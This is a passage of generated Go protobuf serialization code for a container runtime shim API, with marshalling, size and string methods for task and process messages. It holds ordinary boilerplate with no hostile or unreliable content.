1352 | } else { 1353 | dAtA[i] = 0 1354 | } 1355 | i++ 1356 | } 1357 | if m.ExitStatus != 0 { 1358 | dAtA[i] = 0x48 1359 | i++ 1360 | i = encodeVarintShim(dAtA, i, uint64(m.ExitStatus)) 1361 | } 1362 | dAtA[i] = 0x52 1363 | i++ 1364 | i = encodeVarintShim(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt))) 1365 | n4, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.ExitedAt, dAtA[i:]) 1366 | if err != nil { 1367 | return 0, err 1368 | } 1369 | i += n4 1370 | if m.XXX_unrecognized != nil { 1371 | i += copy(dAtA[i:], m.XXX_unrecognized) 1372 | } 1373 | return i, nil 1374 | } 1375 | 1376 | func (m *KillRequest) Marshal() (dAtA []byte, err error) { 1377 | size := m.Size() 1378 | dAtA = make([]byte, size) 1379 | n, err := m.MarshalTo(dAtA) 1380 | if err != nil { 1381 | return nil, err 1382 | } 1383 | return dAtA[:n], nil 1384 | } 1385 | 1386 | func (m *KillRequest) MarshalTo(dAtA []byte) (int, error) { 1387 | var i int 1388 | _ = i 1389 | var l int 1390 | _ = l 1391 | if len(m.ID) > 0 { 1392 | dAtA[i] = 0xa 1393 | i++ 1394 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1395 | i += copy(dAtA[i:], m.ID) 1396 | } 1397 | if m.Signal != 0 { 1398 | dAtA[i] = 0x10 1399 | i++ 1400 | i = encodeVarintShim(dAtA, i, uint64(m.Signal)) 1401 | } 1402 | if m.All { 1403 | dAtA[i] = 0x18 1404 | i++ 1405 | if m.All { 1406 | dAtA[i] = 1 1407 | } else { 1408 | dAtA[i] = 0 1409 | } 1410 | i++ 1411 | } 1412 | if m.XXX_unrecognized != nil { 1413 | i += copy(dAtA[i:], m.XXX_unrecognized) 1414 | } 1415 | return i, nil 1416 | } 1417 | 1418 | func (m *CloseIORequest) Marshal() (dAtA []byte, err error) { 1419 | size := m.Size() 1420 | dAtA = make([]byte, size) 1421 | n, err := m.MarshalTo(dAtA) 1422 | if err != nil { 1423 | return nil, err 1424 | } 1425 | return dAtA[:n], nil 1426 | } 1427 | 1428 | func (m *CloseIORequest) MarshalTo(dAtA []byte) (int, error) { 1429 | var i int 1430 | _ = i 1431 | var l int 1432 | _ = l 1433 | if len(m.ID) > 0 { 1434 | dAtA[i] = 0xa 1435 | i++ 1436 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1437 | i += copy(dAtA[i:], m.ID) 1438 | } 1439 | if m.Stdin { 1440 | dAtA[i] = 0x10 1441 | i++ 1442 | if m.Stdin { 1443 | dAtA[i] = 1 1444 | } else { 1445 | dAtA[i] = 0 1446 | } 1447 | i++ 1448 | } 1449 | if m.XXX_unrecognized != nil { 1450 | i += copy(dAtA[i:], m.XXX_unrecognized) 1451 | } 1452 | return i, nil 1453 | } 1454 | 1455 | func (m *ListPidsRequest) Marshal() (dAtA []byte, err error) { 1456 | size := m.Size() 1457 | dAtA = make([]byte, size) 1458 | n, err := m.MarshalTo(dAtA) 1459 | if err != nil { 1460 | return nil, err 1461 | } 1462 | return dAtA[:n], nil 1463 | } 1464 | 1465 | func (m *ListPidsRequest) MarshalTo(dAtA []byte) (int, error) { 1466 | var i int 1467 | _ = i 1468 | var l int 1469 | _ = l 1470 | if len(m.ID) > 0 { 1471 | dAtA[i] = 0xa 1472 | i++ 1473 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1474 | i += copy(dAtA[i:], m.ID) 1475 | } 1476 | if m.XXX_unrecognized != nil { 1477 | i += copy(dAtA[i:], m.XXX_unrecognized) 1478 | } 1479 | return i, nil 1480 | } 1481 | 1482 | func (m *ListPidsResponse) Marshal() (dAtA []byte, err error) { 1483 | size := m.Size() 1484 | dAtA = make([]byte, size) 1485 | n, err := m.MarshalTo(dAtA) 1486 | if err != nil { 1487 | return nil, err 1488 | } 1489 | return dAtA[:n], nil 1490 | } 1491 | 1492 | func (m *ListPidsResponse) MarshalTo(dAtA []byte) (int, error) { 1493 | var i int 1494 | _ = i 1495 | var l int 1496 | _ = l 1497 | if len(m.Processes) > 0 { 1498 | for _, msg := range m.Processes { 1499 | dAtA[i] = 0xa 1500 | i++ 1501 | i = encodeVarintShim(dAtA, i, uint64(msg.Size())) 1502 | n, err := msg.MarshalTo(dAtA[i:]) 1503 | if err != nil { 1504 | return 0, err 1505 | } 1506 | i += n 1507 | } 1508 | } 1509 | if m.XXX_unrecognized != nil { 1510 | i += copy(dAtA[i:], m.XXX_unrecognized) 1511 | } 1512 | return i, nil 1513 | } 1514 | 1515 | func (m *CheckpointTaskRequest) Marshal() (dAtA []byte, err error) { 1516 | size := m.Size() 1517 | dAtA = make([]byte, size) 1518 | n, err := m.MarshalTo(dAtA) 1519 | if err != nil { 1520 | return nil, err 1521 | } 1522 | return dAtA[:n], nil 1523 | } 1524 | 1525 | func (m *CheckpointTaskRequest) MarshalTo(dAtA []byte) (int, error) { 1526 | var i int 1527 | _ = i 1528 | var l int 1529 | _ = l 1530 | if len(m.Path) > 0 { 1531 | dAtA[i] = 0xa 1532 | i++ 1533 | i = encodeVarintShim(dAtA, i, uint64(len(m.Path))) 1534 | i += copy(dAtA[i:], m.Path) 1535 | } 1536 | if m.Options != nil { 1537 | dAtA[i] = 0x12 1538 | i++ 1539 | i = encodeVarintShim(dAtA, i, uint64(m.Options.Size())) 1540 | n5, err := m.Options.MarshalTo(dAtA[i:]) 1541 | if err != nil { 1542 | return 0, err 1543 | } 1544 | i += n5 1545 | } 1546 | if m.XXX_unrecognized != nil { 1547 | i += copy(dAtA[i:], m.XXX_unrecognized) 1548 | } 1549 | return i, nil 1550 | } 1551 | 1552 | func (m *ShimInfoResponse) Marshal() (dAtA []byte, err error) { 1553 | size := m.Size() 1554 | dAtA = make([]byte, size) 1555 | n, err := m.MarshalTo(dAtA) 1556 | if err != nil { 1557 | return nil, err 1558 | } 1559 | return dAtA[:n], nil 1560 | } 1561 | 1562 | func (m *ShimInfoResponse) MarshalTo(dAtA []byte) (int, error) { 1563 | var i int 1564 | _ = i 1565 | var l int 1566 | _ = l 1567 | if m.ShimPid != 0 { 1568 | dAtA[i] = 0x8 1569 | i++ 1570 | i = encodeVarintShim(dAtA, i, uint64(m.ShimPid)) 1571 | } 1572 | if m.XXX_unrecognized != nil { 1573 | i += copy(dAtA[i:], m.XXX_unrecognized) 1574 | } 1575 | return i, nil 1576 | } 1577 | 1578 | func (m *UpdateTaskRequest) Marshal() (dAtA []byte, err error) { 1579 | size := m.Size() 1580 | dAtA = make([]byte, size) 1581 | n, err := m.MarshalTo(dAtA) 1582 | if err != nil { 1583 | return nil, err 1584 | } 1585 | return dAtA[:n], nil 1586 | } 1587 | 1588 | func (m *UpdateTaskRequest) MarshalTo(dAtA []byte) (int, error) { 1589 | var i int 1590 | _ = i 1591 | var l int 1592 | _ = l 1593 | if m.Resources != nil { 1594 | dAtA[i] = 0xa 1595 | i++ 1596 | i = encodeVarintShim(dAtA, i, uint64(m.Resources.Size())) 1597 | n6, err := m.Resources.MarshalTo(dAtA[i:]) 1598 | if err != nil { 1599 | return 0, err 1600 | } 1601 | i += n6 1602 | } 1603 | if m.XXX_unrecognized != nil { 1604 | i += copy(dAtA[i:], m.XXX_unrecognized) 1605 | } 1606 | return i, nil 1607 | } 1608 | 1609 | func (m *StartRequest) Marshal() (dAtA []byte, err error) { 1610 | size := m.Size() 1611 | dAtA = make([]byte, size) 1612 | n, err := m.MarshalTo(dAtA) 1613 | if err != nil { 1614 | return nil, err 1615 | } 1616 | return dAtA[:n], nil 1617 | } 1618 | 1619 | func (m *StartRequest) MarshalTo(dAtA []byte) (int, error) { 1620 | var i int 1621 | _ = i 1622 | var l int 1623 | _ = l 1624 | if len(m.ID) > 0 { 1625 | dAtA[i] = 0xa 1626 | i++ 1627 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1628 | i += copy(dAtA[i:], m.ID) 1629 | } 1630 | if m.XXX_unrecognized != nil { 1631 | i += copy(dAtA[i:], m.XXX_unrecognized) 1632 | } 1633 | return i, nil 1634 | } 1635 | 1636 | func (m *StartResponse) Marshal() (dAtA []byte, err error) { 1637 | size := m.Size() 1638 | dAtA = make([]byte, size) 1639 | n, err := m.MarshalTo(dAtA) 1640 | if err != nil { 1641 | return nil, err 1642 | } 1643 | return dAtA[:n], nil 1644 | } 1645 | 1646 | func (m *StartResponse) MarshalTo(dAtA []byte) (int, error) { 1647 | var i int 1648 | _ = i 1649 | var l int 1650 | _ = l 1651 | if len(m.ID) > 0 { 1652 | dAtA[i] = 0xa 1653 | i++ 1654 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1655 | i += copy(dAtA[i:], m.ID) 1656 | } 1657 | if m.Pid != 0 { 1658 | dAtA[i] = 0x10 1659 | i++ 1660 | i = encodeVarintShim(dAtA, i, uint64(m.Pid)) 1661 | } 1662 | if m.XXX_unrecognized != nil { 1663 | i += copy(dAtA[i:], m.XXX_unrecognized) 1664 | } 1665 | return i, nil 1666 | } 1667 | 1668 | func (m *WaitRequest) Marshal() (dAtA []byte, err error) { 1669 | size := m.Size() 1670 | dAtA = make([]byte, size) 1671 | n, err := m.MarshalTo(dAtA) 1672 | if err != nil { 1673 | return nil, err 1674 | } 1675 | return dAtA[:n], nil 1676 | } 1677 | 1678 | func (m *WaitRequest) MarshalTo(dAtA []byte) (int, error) { 1679 | var i int 1680 | _ = i 1681 | var l int 1682 | _ = l 1683 | if len(m.ID) > 0 { 1684 | dAtA[i] = 0xa 1685 | i++ 1686 | i = encodeVarintShim(dAtA, i, uint64(len(m.ID))) 1687 | i += copy(dAtA[i:], m.ID) 1688 | } 1689 | if m.XXX_unrecognized != nil { 1690 | i += copy(dAtA[i:], m.XXX_unrecognized) 1691 | } 1692 | return i, nil 1693 | } 1694 | 1695 | func (m *WaitResponse) Marshal() (dAtA []byte, err error) { 1696 | size := m.Size() 1697 | dAtA = make([]byte, size) 1698 | n, err := m.MarshalTo(dAtA) 1699 | if err != nil { 1700 | return nil, err 1701 | } 1702 | return dAtA[:n], nil 1703 | } 1704 | 1705 | func (m *WaitResponse) MarshalTo(dAtA []byte) (int, error) { 1706 | var i int 1707 | _ = i 1708 | var l int 1709 | _ = l 1710 | if m.ExitStatus != 0 { 1711 | dAtA[i] = 0x8 1712 | i++ 1713 | i = encodeVarintShim(dAtA, i, uint64(m.ExitStatus)) 1714 | } 1715 | dAtA[i] = 0x12 1716 | i++ 1717 | i = encodeVarintShim(dAtA, i, uint64(github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt))) 1718 | n7, err := github_com_gogo_protobuf_types.StdTimeMarshalTo(m.ExitedAt, dAtA[i:]) 1719 | if err != nil { 1720 | return 0, err 1721 | } 1722 | i += n7 1723 | if m.XXX_unrecognized != nil { 1724 | i += copy(dAtA[i:], m.XXX_unrecognized) 1725 | } 1726 | return i, nil 1727 | } 1728 | 1729 | func encodeVarintShim(dAtA []byte, offset int, v uint64) int { 1730 | for v >= 1<<7 { 1731 | dAtA[offset] = uint8(v&0x7f | 0x80) 1732 | v >>= 7 1733 | offset++ 1734 | } 1735 | dAtA[offset] = uint8(v) 1736 | return offset + 1 1737 | } 1738 | func (m *CreateTaskRequest) Size() (n int) { 1739 | if m == nil { 1740 | return 0 1741 | } 1742 | var l int 1743 | _ = l 1744 | l = len(m.ID) 1745 | if l > 0 { 1746 | n += 1 + l + sovShim(uint64(l)) 1747 | } 1748 | l = len(m.Bundle) 1749 | if l > 0 { 1750 | n += 1 + l + sovShim(uint64(l)) 1751 | } 1752 | l = len(m.Runtime) 1753 | if l > 0 { 1754 | n += 1 + l + sovShim(uint64(l)) 1755 | } 1756 | if len(m.Rootfs) > 0 { 1757 | for _, e := range m.Rootfs { 1758 | l = e.Size() 1759 | n += 1 + l + sovShim(uint64(l)) 1760 | } 1761 | } 1762 | if m.Terminal { 1763 | n += 2 1764 | } 1765 | l = len(m.Stdin) 1766 | if l > 0 { 1767 | n += 1 + l + sovShim(uint64(l)) 1768 | } 1769 | l = len(m.Stdout) 1770 | if l > 0 { 1771 | n += 1 + l + sovShim(uint64(l)) 1772 | } 1773 | l = len(m.Stderr) 1774 | if l > 0 { 1775 | n += 1 + l + sovShim(uint64(l)) 1776 | } 1777 | l = len(m.Checkpoint) 1778 | if l > 0 { 1779 | n += 1 + l + sovShim(uint64(l)) 1780 | } 1781 | l = len(m.ParentCheckpoint) 1782 | if l > 0 { 1783 | n += 1 + l + sovShim(uint64(l)) 1784 | } 1785 | if m.Options != nil { 1786 | l = m.Options.Size() 1787 | n += 1 + l + sovShim(uint64(l)) 1788 | } 1789 | if m.XXX_unrecognized != nil { 1790 | n += len(m.XXX_unrecognized) 1791 | } 1792 | return n 1793 | } 1794 | 1795 | func (m *CreateTaskResponse) Size() (n int) { 1796 | if m == nil { 1797 | return 0 1798 | } 1799 | var l int 1800 | _ = l 1801 | if m.Pid != 0 { 1802 | n += 1 + sovShim(uint64(m.Pid)) 1803 | } 1804 | if m.XXX_unrecognized != nil { 1805 | n += len(m.XXX_unrecognized) 1806 | } 1807 | return n 1808 | } 1809 | 1810 | func (m *DeleteResponse) Size() (n int) { 1811 | if m == nil { 1812 | return 0 1813 | } 1814 | var l int 1815 | _ = l 1816 | if m.Pid != 0 { 1817 | n += 1 + sovShim(uint64(m.Pid)) 1818 | } 1819 | if m.ExitStatus != 0 { 1820 | n += 1 + sovShim(uint64(m.ExitStatus)) 1821 | } 1822 | l = github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt) 1823 | n += 1 + l + sovShim(uint64(l)) 1824 | if m.XXX_unrecognized != nil { 1825 | n += len(m.XXX_unrecognized) 1826 | } 1827 | return n 1828 | } 1829 | 1830 | func (m *DeleteProcessRequest) Size() (n int) { 1831 | if m == nil { 1832 | return 0 1833 | } 1834 | var l int 1835 | _ = l 1836 | l = len(m.ID) 1837 | if l > 0 { 1838 | n += 1 + l + sovShim(uint64(l)) 1839 | } 1840 | if m.XXX_unrecognized != nil { 1841 | n += len(m.XXX_unrecognized) 1842 | } 1843 | return n 1844 | } 1845 | 1846 | func (m *ExecProcessRequest) Size() (n int) { 1847 | if m == nil { 1848 | return 0 1849 | } 1850 | var l int 1851 | _ = l 1852 | l = len(m.ID) 1853 | if l > 0 { 1854 | n += 1 + l + sovShim(uint64(l)) 1855 | } 1856 | if m.Terminal { 1857 | n += 2 1858 | } 1859 | l = len(m.Stdin) 1860 | if l > 0 { 1861 | n += 1 + l + sovShim(uint64(l)) 1862 | } 1863 | l = len(m.Stdout) 1864 | if l > 0 { 1865 | n += 1 + l + sovShim(uint64(l)) 1866 | } 1867 | l = len(m.Stderr) 1868 | if l > 0 { 1869 | n += 1 + l + sovShim(uint64(l)) 1870 | } 1871 | if m.Spec != nil { 1872 | l = m.Spec.Size() 1873 | n += 1 + l + sovShim(uint64(l)) 1874 | } 1875 | if m.XXX_unrecognized != nil { 1876 | n += len(m.XXX_unrecognized) 1877 | } 1878 | return n 1879 | } 1880 | 1881 | func (m *ExecProcessResponse) Size() (n int) { 1882 | if m == nil { 1883 | return 0 1884 | } 1885 | var l int 1886 | _ = l 1887 | if m.XXX_unrecognized != nil { 1888 | n += len(m.XXX_unrecognized) 1889 | } 1890 | return n 1891 | } 1892 | 1893 | func (m *ResizePtyRequest) Size() (n int) { 1894 | if m == nil { 1895 | return 0 1896 | } 1897 | var l int 1898 | _ = l 1899 | l = len(m.ID) 1900 | if l > 0 { 1901 | n += 1 + l + sovShim(uint64(l)) 1902 | } 1903 | if m.Width != 0 { 1904 | n += 1 + sovShim(uint64(m.Width)) 1905 | } 1906 | if m.Height != 0 { 1907 | n += 1 + sovShim(uint64(m.Height)) 1908 | } 1909 | if m.XXX_unrecognized != nil { 1910 | n += len(m.XXX_unrecognized) 1911 | } 1912 | return n 1913 | } 1914 | 1915 | func (m *StateRequest) Size() (n int) { 1916 | if m == nil { 1917 | return 0 1918 | } 1919 | var l int 1920 | _ = l 1921 | l = len(m.ID) 1922 | if l > 0 { 1923 | n += 1 + l + sovShim(uint64(l)) 1924 | } 1925 | if m.XXX_unrecognized != nil { 1926 | n += len(m.XXX_unrecognized) 1927 | } 1928 | return n 1929 | } 1930 | 1931 | func (m *StateResponse) Size() (n int) { 1932 | if m == nil { 1933 | return 0 1934 | } 1935 | var l int 1936 | _ = l 1937 | l = len(m.ID) 1938 | if l > 0 { 1939 | n += 1 + l + sovShim(uint64(l)) 1940 | } 1941 | l = len(m.Bundle) 1942 | if l > 0 { 1943 | n += 1 + l + sovShim(uint64(l)) 1944 | } 1945 | if m.Pid != 0 { 1946 | n += 1 + sovShim(uint64(m.Pid)) 1947 | } 1948 | if m.Status != 0 { 1949 | n += 1 + sovShim(uint64(m.Status)) 1950 | } 1951 | l = len(m.Stdin) 1952 | if l > 0 { 1953 | n += 1 + l + sovShim(uint64(l)) 1954 | } 1955 | l = len(m.Stdout) 1956 | if l > 0 { 1957 | n += 1 + l + sovShim(uint64(l)) 1958 | } 1959 | l = len(m.Stderr) 1960 | if l > 0 { 1961 | n += 1 + l + sovShim(uint64(l)) 1962 | } 1963 | if m.Terminal { 1964 | n += 2 1965 | } 1966 | if m.ExitStatus != 0 { 1967 | n += 1 + sovShim(uint64(m.ExitStatus)) 1968 | } 1969 | l = github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt) 1970 | n += 1 + l + sovShim(uint64(l)) 1971 | if m.XXX_unrecognized != nil { 1972 | n += len(m.XXX_unrecognized) 1973 | } 1974 | return n 1975 | } 1976 | 1977 | func (m *KillRequest) Size() (n int) { 1978 | if m == nil { 1979 | return 0 1980 | } 1981 | var l int 1982 | _ = l 1983 | l = len(m.ID) 1984 | if l > 0 { 1985 | n += 1 + l + sovShim(uint64(l)) 1986 | } 1987 | if m.Signal != 0 { 1988 | n += 1 + sovShim(uint64(m.Signal)) 1989 | } 1990 | if m.All { 1991 | n += 2 1992 | } 1993 | if m.XXX_unrecognized != nil { 1994 | n += len(m.XXX_unrecognized) 1995 | } 1996 | return n 1997 | } 1998 | 1999 | func (m *CloseIORequest) Size() (n int) { 2000 | if m == nil { 2001 | return 0 2002 | } 2003 | var l int 2004 | _ = l 2005 | l = len(m.ID) 2006 | if l > 0 { 2007 | n += 1 + l + sovShim(uint64(l)) 2008 | } 2009 | if m.Stdin { 2010 | n += 2 2011 | } 2012 | if m.XXX_unrecognized != nil { 2013 | n += len(m.XXX_unrecognized) 2014 | } 2015 | return n 2016 | } 2017 | 2018 | func (m *ListPidsRequest) Size() (n int) { 2019 | if m == nil { 2020 | return 0 2021 | } 2022 | var l int 2023 | _ = l 2024 | l = len(m.ID) 2025 | if l > 0 { 2026 | n += 1 + l + sovShim(uint64(l)) 2027 | } 2028 | if m.XXX_unrecognized != nil { 2029 | n += len(m.XXX_unrecognized) 2030 | } 2031 | return n 2032 | } 2033 | 2034 | func (m *ListPidsResponse) Size() (n int) { 2035 | if m == nil { 2036 | return 0 2037 | } 2038 | var l int 2039 | _ = l 2040 | if len(m.Processes) > 0 { 2041 | for _, e := range m.Processes { 2042 | l = e.Size() 2043 | n += 1 + l + sovShim(uint64(l)) 2044 | } 2045 | } 2046 | if m.XXX_unrecognized != nil { 2047 | n += len(m.XXX_unrecognized) 2048 | } 2049 | return n 2050 | } 2051 | 2052 | func (m *CheckpointTaskRequest) Size() (n int) { 2053 | if m == nil { 2054 | return 0 2055 | } 2056 | var l int 2057 | _ = l 2058 | l = len(m.Path) 2059 | if l > 0 { 2060 | n += 1 + l + sovShim(uint64(l)) 2061 | } 2062 | if m.Options != nil { 2063 | l = m.Options.Size() 2064 | n += 1 + l + sovShim(uint64(l)) 2065 | } 2066 | if m.XXX_unrecognized != nil { 2067 | n += len(m.XXX_unrecognized) 2068 | } 2069 | return n 2070 | } 2071 | 2072 | func (m *ShimInfoResponse) Size() (n int) { 2073 | if m == nil { 2074 | return 0 2075 | } 2076 | var l int 2077 | _ = l 2078 | if m.ShimPid != 0 { 2079 | n += 1 + sovShim(uint64(m.ShimPid)) 2080 | } 2081 | if m.XXX_unrecognized != nil { 2082 | n += len(m.XXX_unrecognized) 2083 | } 2084 | return n 2085 | } 2086 | 2087 | func (m *UpdateTaskRequest) Size() (n int) { 2088 | if m == nil { 2089 | return 0 2090 | } 2091 | var l int 2092 | _ = l 2093 | if m.Resources != nil { 2094 | l = m.Resources.Size() 2095 | n += 1 + l + sovShim(uint64(l)) 2096 | } 2097 | if m.XXX_unrecognized != nil { 2098 | n += len(m.XXX_unrecognized) 2099 | } 2100 | return n 2101 | } 2102 | 2103 | func (m *StartRequest) Size() (n int) { 2104 | if m == nil { 2105 | return 0 2106 | } 2107 | var l int 2108 | _ = l 2109 | l = len(m.ID) 2110 | if l > 0 { 2111 | n += 1 + l + sovShim(uint64(l)) 2112 | } 2113 | if m.XXX_unrecognized != nil { 2114 | n += len(m.XXX_unrecognized) 2115 | } 2116 | return n 2117 | } 2118 | 2119 | func (m *StartResponse) Size() (n int) { 2120 | if m == nil { 2121 | return 0 2122 | } 2123 | var l int 2124 | _ = l 2125 | l = len(m.ID) 2126 | if l > 0 { 2127 | n += 1 + l + sovShim(uint64(l)) 2128 | } 2129 | if m.Pid != 0 { 2130 | n += 1 + sovShim(uint64(m.Pid)) 2131 | } 2132 | if m.XXX_unrecognized != nil { 2133 | n += len(m.XXX_unrecognized) 2134 | } 2135 | return n 2136 | } 2137 | 2138 | func (m *WaitRequest) Size() (n int) { 2139 | if m == nil { 2140 | return 0 2141 | } 2142 | var l int 2143 | _ = l 2144 | l = len(m.ID) 2145 | if l > 0 { 2146 | n += 1 + l + sovShim(uint64(l)) 2147 | } 2148 | if m.XXX_unrecognized != nil { 2149 | n += len(m.XXX_unrecognized) 2150 | } 2151 | return n 2152 | } 2153 | 2154 | func (m *WaitResponse) Size() (n int) { 2155 | if m == nil { 2156 | return 0 2157 | } 2158 | var l int 2159 | _ = l 2160 | if m.ExitStatus != 0 { 2161 | n += 1 + sovShim(uint64(m.ExitStatus)) 2162 | } 2163 | l = github_com_gogo_protobuf_types.SizeOfStdTime(m.ExitedAt) 2164 | n += 1 + l + sovShim(uint64(l)) 2165 | if m.XXX_unrecognized != nil { 2166 | n += len(m.XXX_unrecognized) 2167 | } 2168 | return n 2169 | } 2170 | 2171 | func sovShim(x uint64) (n int) { 2172 | for { 2173 | n++ 2174 | x >>= 7 2175 | if x == 0 { 2176 | break 2177 | } 2178 | } 2179 | return n 2180 | } 2181 | func sozShim(x uint64) (n int) { 2182 | return sovShim(uint64((x << 1) ^ uint64((int64(x) >> 63)))) 2183 | } 2184 | func (this *CreateTaskRequest) String() string { 2185 | if this == nil { 2186 | return "nil" 2187 | } 2188 | s := strings.Join([]string{`&CreateTaskRequest{`, 2189 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2190 | `Bundle:` + fmt.Sprintf("%v", this.Bundle) + `,`, 2191 | `Runtime:` + fmt.Sprintf("%v", this.Runtime) + `,`, 2192 | `Rootfs:` + strings.Replace(fmt.Sprintf("%v", this.Rootfs), "Mount", "types.Mount", 1) + `,`, 2193 | `Terminal:` + fmt.Sprintf("%v", this.Terminal) + `,`, 2194 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2195 | `Stdout:` + fmt.Sprintf("%v", this.Stdout) + `,`, 2196 | `Stderr:` + fmt.Sprintf("%v", this.Stderr) + `,`, 2197 | `Checkpoint:` + fmt.Sprintf("%v", this.Checkpoint) + `,`, 2198 | `ParentCheckpoint:` + fmt.Sprintf("%v", this.ParentCheckpoint) + `,`, 2199 | `Options:` + strings.Replace(fmt.Sprintf("%v", this.Options), "Any", "types1.Any", 1) + `,`, 2200 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2201 | `}`, 2202 | }, "") 2203 | return s 2204 | } 2205 | func (this *CreateTaskResponse) String() string { 2206 | if this == nil { 2207 | return "nil" 2208 | } 2209 | s := strings.Join([]string{`&CreateTaskResponse{`, 2210 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2211 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2212 | `}`, 2213 | }, "") 2214 | return s 2215 | } 2216 | func (this *DeleteResponse) String() string { 2217 | if this == nil { 2218 | return "nil" 2219 | } 2220 | s := strings.Join([]string{`&DeleteResponse{`, 2221 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2222 | `ExitStatus:` + fmt.Sprintf("%v", this.ExitStatus) + `,`, 2223 | `ExitedAt:` + strings.Replace(strings.Replace(this.ExitedAt.String(), "Timestamp", "types1.Timestamp", 1), `&`, ``, 1) + `,`, 2224 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2225 | `}`, 2226 | }, "") 2227 | return s 2228 | } 2229 | func (this *DeleteProcessRequest) String() string { 2230 | if this == nil { 2231 | return "nil" 2232 | } 2233 | s := strings.Join([]string{`&DeleteProcessRequest{`, 2234 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2235 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2236 | `}`, 2237 | }, "") 2238 | return s 2239 | } 2240 | func (this *ExecProcessRequest) String() string { 2241 | if this == nil { 2242 | return "nil" 2243 | } 2244 | s := strings.Join([]string{`&ExecProcessRequest{`, 2245 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2246 | `Terminal:` + fmt.Sprintf("%v", this.Terminal) + `,`, 2247 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2248 | `Stdout:` + fmt.Sprintf("%v", this.Stdout) + `,`, 2249 | `Stderr:` + fmt.Sprintf("%v", this.Stderr) + `,`, 2250 | `Spec:` + strings.Replace(fmt.Sprintf("%v", this.Spec), "Any", "types1.Any", 1) + `,`, 2251 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2252 | `}`, 2253 | }, "") 2254 | return s 2255 | } 2256 | func (this *ExecProcessResponse) String() string { 2257 | if this == nil { 2258 | return "nil" 2259 | } 2260 | s := strings.Join([]string{`&ExecProcessResponse{`, 2261 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2262 | `}`, 2263 | }, "") 2264 | return s 2265 | } 2266 | func (this *ResizePtyRequest) String() string { 2267 | if this == nil { 2268 | return "nil" 2269 | } 2270 | s := strings.Join([]string{`&ResizePtyRequest{`, 2271 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2272 | `Width:` + fmt.Sprintf("%v", this.Width) + `,`, 2273 | `Height:` + fmt.Sprintf("%v", this.Height) + `,`, 2274 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2275 | `}`, 2276 | }, "") 2277 | return s 2278 | } 2279 | func (this *StateRequest) String() string { 2280 | if this == nil { 2281 | return "nil" 2282 | } 2283 | s := strings.Join([]string{`&StateRequest{`, 2284 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2285 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2286 | `}`, 2287 | }, "") 2288 | return s 2289 | } 2290 | func (this *StateResponse) String() string { 2291 | if this == nil { 2292 | return "nil" 2293 | } 2294 | s := strings.Join([]string{`&StateResponse{`, 2295 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2296 | `Bundle:` + fmt.Sprintf("%v", this.Bundle) + `,`, 2297 | `Pid:` + fmt.Sprintf("%v", this.Pid) + `,`, 2298 | `Status:` + fmt.Sprintf("%v", this.Status) + `,`, 2299 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2300 | `Stdout:` + fmt.Sprintf("%v", this.Stdout) + `,`, 2301 | `Stderr:` + fmt.Sprintf("%v", this.Stderr) + `,`, 2302 | `Terminal:` + fmt.Sprintf("%v", this.Terminal) + `,`, 2303 | `ExitStatus:` + fmt.Sprintf("%v", this.ExitStatus) + `,`, 2304 | `ExitedAt:` + strings.Replace(strings.Replace(this.ExitedAt.String(), "Timestamp", "types1.Timestamp", 1), `&`, ``, 1) + `,`, 2305 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2306 | `}`, 2307 | }, "") 2308 | return s 2309 | } 2310 | func (this *KillRequest) String() string { 2311 | if this == nil { 2312 | return "nil" 2313 | } 2314 | s := strings.Join([]string{`&KillRequest{`, 2315 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2316 | `Signal:` + fmt.Sprintf("%v", this.Signal) + `,`, 2317 | `All:` + fmt.Sprintf("%v", this.All) + `,`, 2318 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2319 | `}`, 2320 | }, "") 2321 | return s 2322 | } 2323 | func (this *CloseIORequest) String() string { 2324 | if this == nil { 2325 | return "nil" 2326 | } 2327 | s := strings.Join([]string{`&CloseIORequest{`, 2328 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2329 | `Stdin:` + fmt.Sprintf("%v", this.Stdin) + `,`, 2330 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2331 | `}`, 2332 | }, "") 2333 | return s 2334 | } 2335 | func (this *ListPidsRequest) String() string { 2336 | if this == nil { 2337 | return "nil" 2338 | } 2339 | s := strings.Join([]string{`&ListPidsRequest{`, 2340 | `ID:` + fmt.Sprintf("%v", this.ID) + `,`, 2341 | `XXX_unrecognized:` + fmt.Sprintf("%v", this.XXX_unrecognized) + `,`, 2342 | `}`, 2343 | 